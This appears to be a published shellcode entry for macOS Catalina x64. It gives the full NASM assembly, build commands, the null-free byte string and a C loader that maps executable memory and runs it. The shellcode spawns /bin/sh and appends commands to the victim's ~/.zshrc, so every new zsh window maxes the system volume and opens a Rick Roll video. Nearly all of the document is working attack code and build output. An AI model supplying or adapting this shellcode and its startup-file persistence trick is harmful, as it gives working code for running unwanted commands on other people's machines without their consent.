/* ## Shellcode Title: macOS/x64 - zsh RickRolling Shellcode (198 Bytes) ## Shellcode Author: Bobby Cooke ## Date: May 31st, 2020 ## Tested on: macOS Catalina v10.15.4 ## Shellcode Description: ## MacOS Catalina Dynamic, No-Null Shellcode that will Unmute the systems Volume, set the Volume to Maximum, and "Rick Roll" the user every time they open a Z-Shell Terminal Window. ## The shellcode uses the UNIX ExecVE SysCall to spawn a UNIX SH (/bin/sh). The UNIX SH executes an Echo (/bin/echo) command that adds two commands to the users Z-Shell (zsh) Running Config File (~/.zshrc); the ~/.zshrc file will be created if it does not exist. The first command in the ~/.zshrc file leverages the macOS default system binary OSAScript (/usr/bin/osascript) too unmute the macOS system & set the volume too maximum. The second command in the ~/.zshrc file leverages the macOS default system binary Open (/usr/bin/open) to open the 'Rick Astley - Never Gonna Give You Up' video with the macOS systems default browser. ## C Compile: gcc zsh-rickrolling.c -o zsh-rickrolling ## Apple clang version 11.0.3 (clang-1103.0.32.62) ## Compile & Test: ## root# gcc zsh-rickrolling.c -o zsh-rickrolling ## root# cat ~/.zshrc ## cat: /var/root/.zshrc: No such file or directory ## root# ./zsh-rickrolling ## Shellcode Length: 198 Bytes ## root# cat ~/.zshrc ## osascript -e "set Volume 9" ## open "https://www.youtube.com/watch?v=dQw4w9WgXcQ" ## root# zsh ## root@Mac # ## < Browser Pop & Rick Roll > --------------------------------------------------------------------- ;## ASM Compile: nasm -f macho64 zsh-rickrolling.asm ;## NASM version 2.14.02 compiled on Sep 28 2019 ;## OBJ Link: ld zsh-rickrolling.o -lSystem -o zsh-rickrolling ;## BUILD 17:57:49 Apr 24 2020 ;## Get SC: /bin/bash for x in $(objdump -d zsh-rickrolling.o -x86-asm-syntax=intel | grep "^ " | cut -f1 | awk -F: '{print $2}'); do echo -n "\x"$x; done; echo global _main _main: ; execve(const char *path, char *const argv[], char *const envp[]); ; RAX RDI RSI RDX ; RAX = 0x200003b = Execve System Call Number ; RDI = &"/bin/sh\x00" ; RSI = RSP ; [RSP+10] = argv[0] = &`/bin/sh\x00` ; [RSP+8] = argv[1] = &`-c\x00` ; [RSP+0] = argv[2] = &`echo "open 'https... ; RDX = 0x0 regclear: xor rsi, rsi ; rsi = 0x0 mul rsi ; rax & rdx = 0x0 argv0: mov rcx, 0x68732f6e69622fff ; "\xff/bin/sh" shr rcx, 0x8 ; "/bin/sh\x00" push rcx ; rsp = &"/bin/sh\x00" mov rdi, rsp ; rdi = *path = &"/bin/sh\x00" argv1: add dx, 0x632d ; "-c\x00" push rdx ; rsp = &"-c\x00" mov rbx, rsp ; rbx = &"-c\x00" argv2: ; "echo 'osascript -e \"set Volume 9\"\r\nopen \"https://www.youtube.com/watch?v=dQw4w9WgXcQ\"' >> ~/.zshrc" ; String length : 98 xor rcx, rcx add cx, 0x6372 ; cr push rcx mov rcx, 0x68737a2e2f7e203e ; hsz./~ > push rcx mov rcx, 0x3e20272251635867 ; > '"QcXg push rcx mov rcx, 0x573977347751643d ; W9w4wQd= push rcx mov rcx, 0x763f68637461772f ; v?hctaw/ push rcx mov rcx, 0x6d6f632e65627574 ; moc.ebut push rcx mov rcx, 0x756f792e7777772f ; uoy.www/ push rcx mov rcx, 0x2f3a737074746822 ; /:sptth" push rcx mov rcx, 0x206e65706f0A0D22 ; nepo\n\r" push rcx mov rcx, 0x3920656d756c6f56 ; 9 emuloV push rcx mov rcx, 0x207465732220652d ; tes" e- push rcx mov rcx, 0x2074706972637361 ; tpircsa push rcx mov rcx, 0x736f27206f686365 ; so' ohce push rcx mov r9, rsp ; r9 = &`echo "open 'https... loadArgv: xor rdx, rdx ; rdx = envp[] = 0x0 push rdx ; [RSP+18] = 0x0 push r9 ; [RSP+10] = argv[2] = &Command String push rbx ; [RSP+8] = argv[1] = &`-c\x00` push rdi ; [RSP+0] = argv[0] = &`/bin/sh\x00` mov rsi, rsp ; rsi = argv[] execve: mov al,2 ; rax = 0x2 ror rax, 0x28 ; rax = 0x2000000 mov al, 0x3b ; rax = 0x200003b syscall ; execve system call --------------------------------------------------------------------- */ #include <stdio.h> #include <sys/mman.h> #include <string.h> #include <stdlib.h> int (*sc)(); char shellcode[] = "\x48\x31\xf6\x48\xf7\xe6\x48\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48" "\xc1\xe9\x08\x51\x48\x89\xe7\x66\x81\xc2\x2d\x63\x52\x48\x89\xe3\x48" "\x31\xc9\x66\x81\xc1\x72\x63\x51\x48\xb9\x3e\x20\x7e\x2f\x2e\x7a\x73" "\x68\x51\x48\xb9\x67\x58\x63\x51\x22\x27\x20\x3e\x51\x48\xb9\x3d\x64" "\x51\x77\x34\x77\x39\x57\x51\x48\xb9\x2f\x77\x61\x74\x63\x68\x3f\x76" "\x51\x48\xb9\x74\x75\x62\x65\x2e\x63\x6f\x6d\x51\x48\xb9\x2f\x77\x77" "\x77\x2e\x79\x6f\x75\x51\x48\xb9\x22\x68\x74\x74\x70\x73\x3a\x2f\x51" "\x48\xb9\x22\x0d\x0a\x6f\x70\x65\x6e\x20\x51\x48\xb9\x56\x6f\x6c\x75" "\x6d\x65\x20\x39\x51\x48\xb9\x2d\x65\x20\x22\x73\x65\x74\x20\x51\x48" "\xb9\x61\x73\x63\x72\x69\x70\x74\x20\x51\x48\xb9\x65\x63\x68\x6f\x20" "\x27\x6f\x73\x51\x49\x89\xe1\x48\x31\xd2\x52\x41\x51\x53\x57\x48\x89" "\xe6\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05"; int main(int argc, char **argv) { printf("Shellcode Length: %zd Bytes\n", strlen(shellcode)); void *ptr = mmap(0, 0x22, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } memcpy(ptr, shellcode, sizeof(shellcode)); sc = ptr; sc(); return 0; }